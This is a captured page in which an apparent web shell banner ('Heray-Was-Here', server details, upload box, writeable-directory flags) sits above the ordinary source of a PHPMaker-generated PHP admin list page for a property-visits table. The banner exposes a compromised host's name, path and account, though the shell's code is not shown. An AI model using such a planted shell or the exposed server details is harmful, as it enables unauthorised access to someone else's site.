Heray-Was-Here
Server : Apache
System : Linux hybrid3195.ca.ns.planethoster.net 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
User : alliancerealtynb ( 1004)
PHP Version : 7.4.33
Disable Function : noop
Directory :  /home/alliancerealtynb/www/adminAR/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/alliancerealtynb/www/adminAR/wp_wpl_properties2list.php
<?php
namespace PHPMaker2020\Alliance;

// Autoload
include_once "autoload.php";

// Session
if (session_status() !== PHP_SESSION_ACTIVE)
	\Delight\Cookie\Session::start(Config("COOKIE_SAMESITE")); // Init session data

// Output buffering
ob_start();
?>
<?php

// Write header
WriteHeader(FALSE);

// Create page object
$wp_wpl_properties2_list = new wp_wpl_properties2_list();

// Run the page
$wp_wpl_properties2_list->run();

// Setup login status
SetupLoginStatus();
SetClientVar("login", LoginStatus());

// Global Page Rendering event (in userfn*.php)
Page_Rendering();

// Page Rendering event
$wp_wpl_properties2_list->Page_Render();
?>
<?php include_once "header.php"; ?>
<?php if (!$wp_wpl_properties2_list->isExport()) { ?>
<script>
var fwp_wpl_properties2list, currentPageID;
loadjs.ready("head", function() {

	// Form object
	currentPageID = ew.PAGE_ID = "list";
	fwp_wpl_properties2list = currentForm = new ew.Form("fwp_wpl_properties2list", "list");
	fwp_wpl_properties2list.formKeyCountName = '<?php echo $wp_wpl_properties2_list->FormKeyCountName ?>';

	// Validate form
	fwp_wpl_properties2list.validate = function() {
		if (!this.validateRequired)
			return true; // Ignore validation
		var $ = jQuery, fobj = this.getForm(), $fobj = $(fobj);
		if ($fobj.find("#confirm").val() == "confirm")
			return true;
		var elm, felm, uelm, addcnt = 0;
		var $k = $fobj.find("#" + this.formKeyCountName); // Get key_count
		var rowcnt = ($k[0]) ? parseInt($k.val(), 10) : 1;
		var startcnt = (rowcnt == 0) ? 0 : 1; // Check rowcnt == 0 => Inline-Add
		var gridinsert = ["insert", "gridinsert"].includes($fobj.find("#action").val()) && $k[0];
		for (var i = startcnt; i <= rowcnt; i++) {
			var infix = ($k[0]) ? String(i) : "";
			$fobj.data("rowindex", infix);
			<?php if ($wp_wpl_properties2_list->id->Required) { ?>
				elm = this.getElements("x" + infix + "_id");
				if (elm && !ew.isHidden(elm) && !ew.hasValue(elm))
					return this.onError(elm, "<?php echo JsEncode(str_replace("%s", $wp_wpl_properties2_list->id->caption(), $wp_wpl_properties2_list->id->RequiredErrorMessage)) ?>");
			<?php } ?>
			<?php if ($wp_wpl_properties2_list->visit_time->Required) { ?>
				elm = this.getElements("x" + infix + "_visit_time");
				if (elm && !ew.isHidden(elm) && !ew.hasValue(elm))
					return this.onError(elm, "<?php echo JsEncode(str_replace("%s", $wp_wpl_properties2_list->visit_time->caption(), $wp_wpl_properties2_list->visit_time->RequiredErrorMessage)) ?>");
			<?php } ?>
				elm = this.getElements("x" + infix + "_visit_time");
				if (elm && !ew.checkInteger(elm.value))
					return this.onError(elm, "<?php echo JsEncode($wp_wpl_properties2_list->visit_time->errorMessage()) ?>");
			<?php if ($wp_wpl_properties2_list->visit_date->Required) { ?>
				elm = this.getElements("x" + infix + "_visit_date");
				if (elm && !ew.isHidden(elm) && !ew.hasValue(elm))
					return this.onError(elm, "<?php echo JsEncode(str_replace("%s", $wp_wpl_properties2_list->visit_date->caption(), $wp_wpl_properties2_list->visit_date->RequiredErrorMessage)) ?>");
			<?php } ?>
				elm = this.getElements("x" + infix + "_visit_date");
				if (elm && !ew.checkDateDef(elm.value))
					return this.onError(elm, "<?php echo JsEncode($wp_wpl_properties2_list->visit_date->errorMessage()) ?>");

				// Call Form_CustomValidate event
				if (!this.Form_CustomValidate(fobj))
					return false;
		}
		return true;
	}

	// Form_CustomValidate
	fwp_wpl_properties2list.Form_CustomValidate = function(fobj) { // DO NOT CHANGE THIS LINE!

		// Your custom validation code here, return false if invalid.
		return true;
	}

	// Use JavaScript validation or not
	fwp_wpl_properties2list.validateRequired = <?php echo Config("CLIENT_VALIDATE") ? "true" : "false" ?>;

	// Dynamic selection lists
	loadjs.done("fwp_wpl_properties2list");
});
var fwp_wpl_properties2listsrch;
loadjs.ready("head", function() {

	// Form object for search
	fwp_wpl_properties2listsrch = currentSearchForm = new ew.Form("fwp_wpl_properties2listsrch");

	// Validate function for search
	fwp_wpl_properties2listsrch.validate = function(fobj) {
		if (!this.validateRequired)
			return true; // Ignore validation
		fobj = fobj || this._form;
		var infix = "";
		elm = this.getElements("x" + infix + "_id");
		if (elm && !ew.checkInteger(elm.value))
			return this.onError(elm, "<?php echo JsEncode($wp_wpl_properties2_list->id->errorMessage()) ?>");

		// Call Form_CustomValidate event
		if (!this.Form_CustomValidate(fobj))
			return false;
		return true;
	}

	// Form_CustomValidate
	fwp_wpl_properties2listsrch.Form_CustomValidate = function(fobj) { // DO NOT CHANGE THIS LINE!

		// Your custom validation code here, return false if invalid.
		return true;
	}

	// Use JavaScript validation or not
	fwp_wpl_properties2listsrch.validateRequired = <?php echo Config("CLIENT_VALIDATE") ? "true" : "false" ?>;

	// Dynamic selection lists
	// Filters

	fwp_wpl_properties2listsrch.filterList = <?php echo $wp_wpl_properties2_list->getFilterList() ?>;
	loadjs.done("fwp_wpl_properties2listsrch");
});
</script>
<script>
loadjs.ready("head", function() {

	// Client script
	// Write your client script here, no need to add script tags.

});
</script>
<?php } ?>
<?php if (!$wp_wpl_properties2_list->isExport()) { ?>
<div class="btn-toolbar ew-toolbar">
<?php if ($wp_wpl_properties2_list->TotalRecords > 0 && $wp_wpl_properties2_list->ExportOptions->visible()) { ?>
<?php $wp_wpl_properties2_list->ExportOptions->render("body") ?>
<?php } ?>
<?php if ($wp_wpl_properties2_list->ImportOptions->visible()) { ?>
<?php $wp_wpl_properties2_list->ImportOptions->render("body") ?>
<?php } ?>
<?php if ($wp_wpl_properties2_list->SearchOptions->visible()) { ?>
<?php $wp_wpl_properties2_list->SearchOptions->render("body") ?>
<?php } ?>
<?php if ($wp_wpl_properties2_list->FilterOptions->visible()) { ?>
<?php $wp_wpl_properties2_list->FilterOptions->render("body") ?>
<?php } ?>
<div class="clearfix"></div>
</div>
<?php } ?>
<?php
$wp_wpl_properties2_list->renderOtherOptions();
?>
<?php if ($Security->CanSearch()) { ?>
<?php if (!$wp_wpl_properties2_list->isExport() && !$wp_wpl_properties2->CurrentAction) { ?>
<form name="fwp_wpl_properties2listsrch" id="fwp_wpl_properties2listsrch" class="form-inline ew-form ew-ext-search-form" action="<?php echo CurrentPageName() ?>">
<div id="fwp_wpl_properties2listsrch-search-panel" class="<?php echo $wp_wpl_properties2_list->SearchPanelClass ?>">
<input type="hidden" name="cmd" value="search">
<input type="hidden" name="t" value="wp_wpl_properties2">
	<div class="ew-extended-search">
<?php

// Render search row
$wp_wpl_properties2->RowType = ROWTYPE_SEARCH;
$wp_wpl_properties2->resetAttributes();
$wp_wpl_properties2_list->renderRow();
?>
<?php if ($wp_wpl_properties2_list->id->Visible) { // id ?>
	<?php
		$wp_wpl_properties2_list->SearchColumnCount++;
		if (($wp_wpl_properties2_list->SearchColumnCount - 1) % $wp_wpl_properties2_list->SearchFieldsPerRow == 0) {
			$wp_wpl_properties2_list->SearchRowCount++;
	?>
<div id="xsr_<?php echo $wp_wpl_properties2_list->SearchRowCount ?>" class="ew-row d-sm-flex">
	<?php
		}
	 ?>
	<div id="xsc_id" class="ew-cell form-group">
		<label for="x_id" class="ew-search-caption ew-label"><?php echo $wp_wpl_properties2_list->id->caption() ?></label>
		<span class="ew-search-operator">
<?php echo $Language->phrase("=") ?>
<input type="hidden" name="z_id" id="z_id" value="=">
</span>
		<span id="el_wp_wpl_properties2_id" class="ew-search-field">
<input type="text" data-table="wp_wpl_properties2" data-field="x_id" name="x_id" id="x_id" maxlength="10" placeholder="<?php echo HtmlEncode($wp_wpl_properties2_list->id->getPlaceHolder()) ?>" value="<?php echo $wp_wpl_properties2_list->id->EditValue ?>"<?php echo $wp_wpl_properties2_list->id->editAttributes() ?>>
</span>
	</div>
	<?php if ($wp_wpl_properties2_list->SearchColumnCount % $wp_wpl_properties2_list->SearchFieldsPerRow == 0) { ?>
</div>
	<?php } ?>
<?php } ?>
	<?php if ($wp_wpl_properties2_list->SearchColumnCount % $wp_wpl_properties2_list->SearchFieldsPerRow > 0) { ?>
</div>
	<?php } ?>
<div id="xsr_<?php echo $wp_wpl_properties2_list->SearchRowCount + 1 ?>" class="ew-row d-sm-flex">
	<button class="btn btn-primary" name="btn-submit" id="btn-submit" type="submit"><?php echo $Language->phrase("SearchBtn") ?></button>
</div>
	</div><!-- /.ew-extended-search -->
</div><!-- /.ew-search-panel -->
</form>
<?php } ?>
<?php } ?>
<?php $wp_wpl_properties2_list->showPageHeader(); ?>
<?php
$wp_wpl_properties2_list->showMessage();
?>
<?php if ($wp_wpl_properties2_list->TotalRecords > 0 || $wp_wpl_properties2->CurrentAction) { ?>
<div class="card ew-card ew-grid<?php if ($wp_wpl_properties2_list->isAddOrEdit()) { ?> ew-grid-add-edit<?php } ?> wp_wpl_properties2">
<?php if (!$wp_wpl_properties2_list->isExport()) { ?>
<div class="card-header ew-grid-upper-panel">
<?php if (!$wp_wpl_properties2_list->isGridAdd()) { ?>
<form name="ew-pager-form" class="form-inline ew-form ew-pager-form" action="<?php echo CurrentPageName() ?>">
<?php echo $wp_wpl_properties2_list->Pager->render() ?>
</form>
<?php } ?>
<div class="ew-list-other-options">
<?php $wp_wpl_properties2_list->OtherOptions->render("body") ?>
</div>
<div class="clearfix"></div>
</div>
<?php } ?>
<form name="fwp_wpl_properties2list" id="fwp_wpl_properties2list" class="form-inline ew-form ew-list-form" action="<?php echo CurrentPageName() ?>" method="post">
<?php if ($Page->CheckToken) { ?>
<input type="hidden" name="<?php echo Config("TOKEN_NAME") ?>" value="<?php echo $Page->Token ?>">
<?php } ?>
<input type="hidden" name="t" value="wp_wpl_properties2">
<div id="gmp_wp_wpl_properties2" class="<?php echo ResponsiveTableClass() ?>card-body ew-grid-middle-panel">
<?php if ($wp_wpl_properties2_list->TotalRecords > 0 || $wp_wpl_properties2_list->isGridEdit()) { ?>
<table id="tbl_wp_wpl_properties2list" class="table ew-table"><!-- .ew-table -->
<thead>
	<tr class="ew-table-header">
<?php

// Header row
$wp_wpl_properties2->RowType = ROWTYPE_HEADER;

// Render list options
$wp_wpl_properties2_list->renderListOptions();

// Render list options (header, left)
$wp_wpl_properties2_list->ListOptions->render("header", "left");
?>
<?php if ($wp_wpl_properties2_list->id->Visible) { // id ?>
	<?php if ($wp_wpl_properties2_list->SortUrl($wp_wpl_properties2_list->id) == "") { ?>
		<th data-name="id" class="<?php echo $wp_wpl_properties2_list->id->headerCellClass() ?>"><div id="elh_wp_wpl_properties2_id" class="wp_wpl_properties2_id"><div class="ew-table-header-caption"><?php echo $wp_wpl_properties2_list->id->caption() ?></div></div></th>
	<?php } else { ?>
		<th data-name="id" class="<?php echo $wp_wpl_properties2_list->id->headerCellClass() ?>"><div class="ew-pointer" onclick="ew.sort(event, '<?php echo $wp_wpl_properties2_list->SortUrl($wp_wpl_properties2_list->id) ?>', 2);"><div id="elh_wp_wpl_properties2_id" class="wp_wpl_properties2_id">
			<div class="ew-table-header-btn"><span class="ew-table-header-caption"><?php echo $wp_wpl_properties2_list->id->caption() ?></span><span class="ew-table-header-sort"><?php if ($wp_wpl_properties2_list->id->getSort() == "ASC") { ?><i class="fas fa-sort-up"></i><?php } elseif ($wp_wpl_properties2_list->id->getSort() == "DESC") { ?><i class="fas fa-sort-down"></i><?php } ?></span></div>
		</div></div></th>
	<?php } ?>
<?php } ?>
<?php if ($wp_wpl_properties2_list->visit_time->Visible) { // visit_time ?>
	<?php if ($wp_wpl_properties2_list->SortUrl($wp_wpl_properties2_list->visit_time) == "") { ?>
		<th data-name="visit_time" class="<?php echo $wp_wpl_properties2_list->visit_time->headerCellClass() ?>"><div id="elh_wp_wpl_properties2_visit_time" class="wp_wpl_properties2_visit_time"><div class="ew-table-header-caption"><?php echo $wp_wpl_properties2_list->visit_time->caption() ?></div></div></th>
	<?php } else { ?>
		<th data-name="visit_time" class="<?php echo $wp_wpl_properties2_list->visit_time->headerCellClass() ?>"><div class="ew-pointer" onclick="ew.sort(event, '<?php echo $wp_wpl_properties2_list->SortUrl($wp_wpl_properties2_list->visit_time) ?>', 2);"><div id="elh_wp_wpl_properties2_visit_time" class="wp_wpl_properties2_visit_time">
			<div class="ew-table-header-btn"><span class="ew-table-header-caption"><?php echo $wp_wpl_properties2_list->visit_time->caption() ?></span><span class="ew-table-header-sort"><?php if ($wp_wpl_properties2_list->visit_time->getSort() == "ASC") { ?><i class="fas fa-sort-up"></i><?php } elseif ($wp_wpl_properties2_list->visit_time->getSort() == "DESC") { ?><i class="fas fa-sort-down"></i><?php } ?></span></div>
		</div></div></th>
	<?php } ?>
<?php } ?>
<?php if ($wp_wpl_properties2_list->visit_date->Visible) { // visit_date ?>
	<?php if ($wp_wpl_properties2_list->SortUrl($wp_wpl_properties2_list->visit_date) == "") { ?>
		<th data-name="visit_date" class="<?php echo $wp_wpl_properties2_list->visit_date->headerCellClass() ?>"><div id="elh_wp_wpl_properties2_visit_date" class="wp_wpl_properties2_visit_date"><div class="ew-table-header-caption"><?php echo $wp_wpl_properties2_list->visit_date->caption() ?></div></div></th>
	<?php } else { ?>
		<th data-name="visit_date" class="<?php echo $wp_wpl_properties2_list->visit_date->headerCellClass() ?>"><div class="ew-pointer" onclick="ew.sort(event, '<?php echo $wp_wpl_properties2_list->SortUrl($wp_wpl_properties2_list->visit_date) ?>', 2);"><div id="elh_wp_wpl_properties2_visit_date" class="wp_wpl_properties2_visit_date">
			<div class="ew-table-header-btn"><span class="ew-table-header-caption"><?php echo $wp_wpl_properties2_list->visit_date->caption() ?></span><span class="ew-table-header-sort"><?php if ($wp_wpl_properties2_list->visit_date->getSort() == "ASC") { ?><i class="fas fa-sort-up"></i><?php } elseif ($wp_wpl_properties2_list->visit_date->getSort() == "DESC") { ?><i class="fas fa-sort-down"></i><?php } ?></span></div>
		</div></div></th>
	<?php } ?>
<?php } ?>
<?php

// Render list options (header, right)
$wp_wpl_properties2_list->ListOptions->render("header", "right");
?>
	</tr>
</thead>
<tbody>
<?php
if ($wp_wpl_properties2_list->ExportAll && $wp_wpl_properties2_list->isExport()) {
	$wp_wpl_properties2_list->StopRecord = $wp_wpl_properties2_list->TotalRecords;
} else {

	// Set the last record to display
	if ($wp_wpl_properties2_list->TotalRecords > $wp_wpl_properties2_list->StartRecord + $wp_wpl_properties2_list->DisplayRecords - 1)
		$wp_wpl_properties2_list->StopRecord = $wp_wpl_properties2_list->StartRecord + $wp_wpl_properties2_list->DisplayRecords - 1;
	else
		$wp_wpl_properties2_list->StopRecord = $wp_wpl_properties2_list->TotalRecords;
}

// Restore number of post back records
if ($CurrentForm && ($wp_wpl_properties2->isConfirm() || $wp_wpl_properties2_list->EventCancelled)) {
	$CurrentForm->Index = -1;
	if ($CurrentForm->hasValue($wp_wpl_properties2_list->FormKeyCountName) && ($wp_wpl_properties2_list->isGridAdd() || $wp_wpl_properties2_list->isGridEdit() || $wp_wpl_properties2->isConfirm())) {
		$wp_wpl_properties2_list->KeyCount = $CurrentForm->getValue($wp_wpl_properties2_list->FormKeyCountName);
		$wp_wpl_properties2_list->StopRecord = $wp_wpl_properties2_list->StartRecord + $wp_wpl_properties2_list->KeyCount - 1;
	}
}
$wp_wpl_properties2_list->RecordCount = $wp_wpl_properties2_list->StartRecord - 1;
if ($wp_wpl_properties2_list->Recordset && !$wp_wpl_properties2_list->Recordset->EOF) {
	$wp_wpl_properties2_list->Recordset->moveFirst();
	$selectLimit = $wp_wpl_properties2_list->UseSelectLimit;
	if (!$selectLimit && $wp_wpl_properties2_list->StartRecord > 1)
		$wp_wpl_properties2_list->Recordset->move($wp_wpl_properties2_list->StartRecord - 1);
} elseif (!$wp_wpl_properties2->AllowAddDeleteRow && $wp_wpl_properties2_list->StopRecord == 0) {
	$wp_wpl_properties2_list->StopRecord = $wp_wpl_properties2->GridAddRowCount;
}

// Initialize aggregate
$wp_wpl_properties2->RowType = ROWTYPE_AGGREGATEINIT;
$wp_wpl_properties2->resetAttributes();
$wp_wpl_properties2_list->renderRow();
if ($wp_wpl_properties2_list->isGridEdit())
	$wp_wpl_properties2_list->RowIndex = 0;
while ($wp_wpl_properties2_list->RecordCount < $wp_wpl_properties2_list->StopRecord) {
	$wp_wpl_properties2_list->RecordCount++;
	if ($wp_wpl_properties2_list->RecordCount >= $wp_wpl_properties2_list->StartRecord) {
		$wp_wpl_properties2_list->RowCount++;
		if ($wp_wpl_properties2_list->isGridAdd() || $wp_wpl_properties2_list->isGridEdit() || $wp_wpl_properties2->isConfirm()) {
			$wp_wpl_properties2_list->RowIndex++;
			$CurrentForm->Index = $wp_wpl_properties2_list->RowIndex;
			if ($CurrentForm->hasValue($wp_wpl_properties2_list->FormActionName) && ($wp_wpl_properties2->isConfirm() || $wp_wpl_properties2_list->EventCancelled))
				$wp_wpl_properties2_list->RowAction = strval($CurrentForm->getValue($wp_wpl_properties2_list->FormActionName));
			elseif ($wp_wpl_properties2_list->isGridAdd())
				$wp_wpl_properties2_list->RowAction = "insert";
			else
				$wp_wpl_properties2_list->RowAction = "";
		}

		// Set up key count
		$wp_wpl_properties2_list->KeyCount = $wp_wpl_properties2_list->RowIndex;

		// Init row class and style
		$wp_wpl_properties2->resetAttributes();
		$wp_wpl_properties2->CssClass = "";
		if ($wp_wpl_properties2_list->isGridAdd()) {
			$wp_wpl_properties2_list->loadRowValues(); // Load default values
		} else {
			$wp_wpl_properties2_list->loadRowValues($wp_wpl_properties2_list->Recordset); // Load row values
		}
		$wp_wpl_properties2->RowType = ROWTYPE_VIEW; // Render view
		if ($wp_wpl_properties2_list->isGridEdit()) { // Grid edit
			if ($wp_wpl_properties2->EventCancelled)
				$wp_wpl_properties2_list->restoreCurrentRowFormValues($wp_wpl_properties2_list->RowIndex); // Restore form values
			if ($wp_wpl_properties2_list->RowAction == "insert")
				$wp_wpl_properties2->RowType = ROWTYPE_ADD; // Render add
			else
				$wp_wpl_properties2->RowType = ROWTYPE_EDIT; // Render edit
		}
		if ($wp_wpl_properties2_list->isGridEdit() && ($wp_wpl_properties2->RowType == ROWTYPE_EDIT || $wp_wpl_properties2->RowType == ROWTYPE_ADD) && $wp_wpl_properties2->EventCancelled) // Update failed
			$wp_wpl_properties2_list->restoreCurrentRowFormValues($wp_wpl_properties2_list->RowIndex); // Restore form values
		if ($wp_wpl_properties2->RowType == ROWTYPE_EDIT) // Edit row
			$wp_wpl_properties2_list->EditRowCount++;

		// Set up row id / data-rowindex
		$wp_wpl_properties2->RowAttrs->merge(["data-rowindex" => $wp_wpl_properties2_list->RowCount, "id" => "r" . $wp_wpl_properties2_list->RowCount . "_wp_wpl_properties2", "data-rowtype" => $wp_wpl_properties2->RowType]);

		// Render row
		$wp_wpl_properties2_list->renderRow();

		// Render list options
		$wp_wpl_properties2_list->renderListOptions();

		// Skip delete row / empty row for confirm page
		if ($wp_wpl_properties2_list->RowAction != "delete" && $wp_wpl_properties2_list->RowAction != "insertdelete" && !($wp_wpl_properties2_list->RowAction == "insert" && $wp_wpl_properties2->isConfirm() && $wp_wpl_properties2_list->emptyRow())) {
?>
	<tr <?php echo $wp_wpl_properties2->rowAttributes() ?>>
<?php

// Render list options (body, left)
$wp_wpl_properties2_list->ListOptions->render("body", "left", $wp_wpl_properties2_list->RowCount);
?>
	<?php if ($wp_wpl_properties2_list->id->Visible) { // id ?>
		<td data-name="id" <?php echo $wp_wpl_properties2_list->id->cellAttributes() ?>>
<?php if ($wp_wpl_properties2->RowType == ROWTYPE_ADD) { // Add record ?>
<span id="el<?php echo $wp_wpl_properties2_list->RowCount ?>_wp_wpl_properties2_id" class="form-group"></span>
<input type="hidden" data-table="wp_wpl_properties2" data-field="x_id" name="o<?php echo $wp_wpl_properties2_list->RowIndex ?>_id" id="o<?php echo $wp_wpl_properties2_list->RowIndex ?>_id" value="<?php echo HtmlEncode($wp_wpl_properties2_list->id->OldValue) ?>">
<?php } ?>
<?php if ($wp_wpl_properties2->RowType == ROWTYPE_EDIT) { // Edit record ?>
<span id="el<?php echo $wp_wpl_properties2_list->RowCount ?>_wp_wpl_properties2_id" class="form-group">
<span<?php echo $wp_wpl_properties2_list->id->viewAttributes() ?>><input type="text" readonly class="form-control-plaintext" value="<?php echo HtmlEncode(RemoveHtml($wp_wpl_properties2_list->id->EditValue)) ?>"></span>
</span>
<input type="hidden" data-table="wp_wpl_properties2" data-field="x_id" name="x<?php echo $wp_wpl_properties2_list->RowIndex ?>_id" id="x<?php echo $wp_wpl_properties2_list->RowIndex ?>_id" value="<?php echo HtmlEncode($wp_wpl_properties2_list->id->CurrentValue) ?>">
<?php } ?>
<?php if ($wp_wpl_properties2->RowType == ROWTYPE_VIEW) { // View record ?>
<span id="el<?php echo $wp_wpl_properties2_list->RowCount ?>_wp_wpl_properties2_id">
<span<?php echo $wp_wpl_properties2_list->id->viewAttributes() ?>><?php echo $wp_wpl_properties2_list->id->getViewValue() ?></span>
</span>
<?php } ?>
</td>
	<?php } ?>
	<?php if ($wp_wpl_properties2_list->visit_time->Visible) { // visit_time ?>
		<td data-name="visit_time" <?php echo $wp_wpl_properties2_list->visit_time->cellAttributes() ?>>
<?php if ($wp_wpl_properties2->RowType == ROWTYPE_ADD) { // Add record ?>
<span id="el<?php echo $wp_wpl_properties2_list->RowCount ?>_wp_wpl_properties2_visit_time" class="form-group">
<input type="text" data-table="wp_wpl_properties2" data-field="x_visit_time" name="x<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_time" id="x<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_time" size="30" maxlength="8" placeholder="<?php echo HtmlEncode($wp_wpl_properties2_list->visit_time->getPlaceHolder()) ?>" value="<?php echo $wp_wpl_properties2_list->visit_time->EditValue ?>"<?php echo $wp_wpl_properties2_list->visit_time->editAttributes() ?>>
</span>
<input type="hidden" data-table="wp_wpl_properties2" data-field="x_visit_time" name="o<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_time" id="o<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_time" value="<?php echo HtmlEncode($wp_wpl_properties2_list->visit_time->OldValue) ?>">
<?php } ?>
<?php if ($wp_wpl_properties2->RowType == ROWTYPE_EDIT) { // Edit record ?>
<span id="el<?php echo $wp_wpl_properties2_list->RowCount ?>_wp_wpl_properties2_visit_time" class="form-group">
<input type="text" data-table="wp_wpl_properties2" data-field="x_visit_time" name="x<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_time" id="x<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_time" size="30" maxlength="8" placeholder="<?php echo HtmlEncode($wp_wpl_properties2_list->visit_time->getPlaceHolder()) ?>" value="<?php echo $wp_wpl_properties2_list->visit_time->EditValue ?>"<?php echo $wp_wpl_properties2_list->visit_time->editAttributes() ?>>
</span>
<?php } ?>
<?php if ($wp_wpl_properties2->RowType == ROWTYPE_VIEW) { // View record ?>
<span id="el<?php echo $wp_wpl_properties2_list->RowCount ?>_wp_wpl_properties2_visit_time">
<span<?php echo $wp_wpl_properties2_list->visit_time->viewAttributes() ?>><?php echo $wp_wpl_properties2_list->visit_time->getViewValue() ?></span>
</span>
<?php } ?>
</td>
	<?php } ?>
	<?php if ($wp_wpl_properties2_list->visit_date->Visible) { // visit_date ?>
		<td data-name="visit_date" <?php echo $wp_wpl_properties2_list->visit_date->cellAttributes() ?>>
<?php if ($wp_wpl_properties2->RowType == ROWTYPE_ADD) { // Add record ?>
<span id="el<?php echo $wp_wpl_properties2_list->RowCount ?>_wp_wpl_properties2_visit_date" class="form-group">
<input type="text" data-table="wp_wpl_properties2" data-field="x_visit_date" name="x<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_date" id="x<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_date" maxlength="19" placeholder="<?php echo HtmlEncode($wp_wpl_properties2_list->visit_date->getPlaceHolder()) ?>" value="<?php echo $wp_wpl_properties2_list->visit_date->EditValue ?>"<?php echo $wp_wpl_properties2_list->visit_date->editAttributes() ?>>
<?php if (!$wp_wpl_properties2_list->visit_date->ReadOnly && !$wp_wpl_properties2_list->visit_date->Disabled && !isset($wp_wpl_properties2_list->visit_date->EditAttrs["readonly"]) && !isset($wp_wpl_properties2_list->visit_date->EditAttrs["disabled"])) { ?>
<script>
loadjs.ready(["fwp_wpl_properties2list", "datetimepicker"], function() {
	ew.createDateTimePicker("fwp_wpl_properties2list", "x<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_date", {"ignoreReadonly":true,"useCurrent":false,"format":0});
});
</script>
<?php } ?>
</span>
<input type="hidden" data-table="wp_wpl_properties2" data-field="x_visit_date" name="o<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_date" id="o<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_date" value="<?php echo HtmlEncode($wp_wpl_properties2_list->visit_date->OldValue) ?>">
<?php } ?>
<?php if ($wp_wpl_properties2->RowType == ROWTYPE_EDIT) { // Edit record ?>
<span id="el<?php echo $wp_wpl_properties2_list->RowCount ?>_wp_wpl_properties2_visit_date" class="form-group">
<input type="text" data-table="wp_wpl_properties2" data-field="x_visit_date" name="x<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_date" id="x<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_date" maxlength="19" placeholder="<?php echo HtmlEncode($wp_wpl_properties2_list->visit_date->getPlaceHolder()) ?>" value="<?php echo $wp_wpl_properties2_list->visit_date->EditValue ?>"<?php echo $wp_wpl_properties2_list->visit_date->editAttributes() ?>>
<?php if (!$wp_wpl_properties2_list->visit_date->ReadOnly && !$wp_wpl_properties2_list->visit_date->Disabled && !isset($wp_wpl_properties2_list->visit_date->EditAttrs["readonly"]) && !isset($wp_wpl_properties2_list->visit_date->EditAttrs["disabled"])) { ?>
<script>
loadjs.ready(["fwp_wpl_properties2list", "datetimepicker"], function() {
	ew.createDateTimePicker("fwp_wpl_properties2list", "x<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_date", {"ignoreReadonly":true,"useCurrent":false,"format":0});
});
</script>
<?php } ?>
</span>
<?php } ?>
<?php if ($wp_wpl_properties2->RowType == ROWTYPE_VIEW) { // View record ?>
<span id="el<?php echo $wp_wpl_properties2_list->RowCount ?>_wp_wpl_properties2_visit_date">
<span<?php echo $wp_wpl_properties2_list->visit_date->viewAttributes() ?>><?php echo $wp_wpl_properties2_list->visit_date->getViewValue() ?></span>
</span>
<?php } ?>
</td>
	<?php } ?>
<?php

// Render list options (body, right)
$wp_wpl_properties2_list->ListOptions->render("body", "right", $wp_wpl_properties2_list->RowCount);
?>
	</tr>
<?php if ($wp_wpl_properties2->RowType == ROWTYPE_ADD || $wp_wpl_properties2->RowType == ROWTYPE_EDIT) { ?>
<script>
loadjs.ready(["fwp_wpl_properties2list", "load"], function() {
	fwp_wpl_properties2list.updateLists(<?php echo $wp_wpl_properties2_list->RowIndex ?>);
});
</script>
<?php } ?>
<?php
	}
	} // End delete row checking
	if (!$wp_wpl_properties2_list->isGridAdd())
		if (!$wp_wpl_properties2_list->Recordset->EOF)
			$wp_wpl_properties2_list->Recordset->moveNext();
}
?>
<?php
	if ($wp_wpl_properties2_list->isGridAdd() || $wp_wpl_properties2_list->isGridEdit()) {
		$wp_wpl_properties2_list->RowIndex = '$rowindex$';
		$wp_wpl_properties2_list->loadRowValues();

		// Set row properties
		$wp_wpl_properties2->resetAttributes();
		$wp_wpl_properties2->RowAttrs->merge(["data-rowindex" => $wp_wpl_properties2_list->RowIndex, "id" => "r0_wp_wpl_properties2", "data-rowtype" => ROWTYPE_ADD]);
		$wp_wpl_properties2->RowAttrs->appendClass("ew-template");
		$wp_wpl_properties2->RowType = ROWTYPE_ADD;

		// Render row
		$wp_wpl_properties2_list->renderRow();

		// Render list options
		$wp_wpl_properties2_list->renderListOptions();
		$wp_wpl_properties2_list->StartRowCount = 0;
?>
	<tr <?php echo $wp_wpl_properties2->rowAttributes() ?>>
<?php

// Render list options (body, left)
$wp_wpl_properties2_list->ListOptions->render("body", "left", $wp_wpl_properties2_list->RowIndex);
?>
	<?php if ($wp_wpl_properties2_list->id->Visible) { // id ?>
		<td data-name="id">
<span id="el$rowindex$_wp_wpl_properties2_id" class="form-group wp_wpl_properties2_id"></span>
<input type="hidden" data-table="wp_wpl_properties2" data-field="x_id" name="o<?php echo $wp_wpl_properties2_list->RowIndex ?>_id" id="o<?php echo $wp_wpl_properties2_list->RowIndex ?>_id" value="<?php echo HtmlEncode($wp_wpl_properties2_list->id->OldValue) ?>">
</td>
	<?php } ?>
	<?php if ($wp_wpl_properties2_list->visit_time->Visible) { // visit_time ?>
		<td data-name="visit_time">
<span id="el$rowindex$_wp_wpl_properties2_visit_time" class="form-group wp_wpl_properties2_visit_time">
<input type="text" data-table="wp_wpl_properties2" data-field="x_visit_time" name="x<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_time" id="x<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_time" size="30" maxlength="8" placeholder="<?php echo HtmlEncode($wp_wpl_properties2_list->visit_time->getPlaceHolder()) ?>" value="<?php echo $wp_wpl_properties2_list->visit_time->EditValue ?>"<?php echo $wp_wpl_properties2_list->visit_time->editAttributes() ?>>
</span>
